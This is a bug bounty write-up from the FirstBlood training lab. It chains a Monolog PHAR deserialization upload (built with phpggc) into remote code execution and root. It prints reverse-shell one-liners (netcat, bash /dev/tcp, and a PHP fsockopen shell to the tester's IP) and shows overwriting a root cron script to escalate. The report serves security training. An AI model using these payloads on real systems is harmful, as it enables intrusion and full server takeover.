FirstBlood-#687[COLLAB with isitbug] RCE through file upload deserialization
This issue was discovered on FirstBlood v2.0.0 (issues patched)

On 2021-10-27, shreky Level 5 reported:


Tough one,but here it is finally.The Upload vaccination proof file upload feature is vulnerable to insecure deserialization through vulnerable Monolog library.Upon doing some recon,we discover that /composer.json and /composer.lock are present,the following being returned (from /composer.json):

    "require": {
        "monolog/monolog": "2.1.1"

Doing further recon about this monolog version,we discover along with the Monolog/RCE1 exploit. So,upon getting the tool and running the following command:

php phpggc -pj test.jpg -o exploit.jpg monolog/rce1 system 'id'

test.jpg --> random test jpg from wikipedia -->, we're creating a polyglot JPEG/PHAR file with it
exploit.jpg --> the malicious file that contains the unserialized stuff & payload
monolog/rce1 --> the exploit we are using
system 'id' --> payload,we're running id on the machine

Putting it all together,now we need to upload the file on /vaccination-manager/pub/submit-vaccination-proof.php. Now in order to access the file,after successful upload,pull up the page's source code and at the bottom there is the following snippet:

    $(document).ready(function () {
                .then(response => response.json())

Obtaining the URL path,we can now either send a slightly modified request,or just navigate to it via browser,that being /api/checkproof.php?proof=phar:///app/firstblood/upload/9c1d42b687f399399a40b01c673fe82acb6df4f0.jpg.
What we're doing here is adding the php stream wrapper phar:// at the beginning which will trigger unserialize().Without adding it,we won't be able to see the output. In the end,the output is being shown.


Using this exploit attackers can achieve Remote Code Execution on the local machine,which can then be used to get a Reverse Shell and being free to roam around the machine.
A while later I was able to get a reverse shell too using the same method but instead of 'id' I did

"nc -e /bin/bash {my_ip} 9999"

or to get better shell in /bin/bash

"bash -c 'bash -i >& /dev/tcp/{my_ip}/9999 0>&1'"

since I noticed that /bin/nc is present on the machine through /api/checkproof.php?proof=/bin/nc,returning true.

And then again a while after I was able to escalate to root.I noticed the the file crontab in /app/docker which contained the following:

* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1

So since root is running this in a cron(every minute),I decided to edit scheduler.php to a php reverse shell back to my machine,which would then give drop me in a root shell.While in /app/firstblood I did the following:

echo '<?php $sock=fsockopen("{my_ip}",9998);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' > scheduler.php

Then setting up a listener,and next minute BOOM& root shell.

(Baby steps) Executing the id command via phar file upload way -->

(Growing up) Executing commands via reverse shell -->

Mission complete) Whoami? root. -->


This bug makes use of the following vulnerabilities in a chain:

  • Deserialization
  • RCE
  • Information leak/disclosure

FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.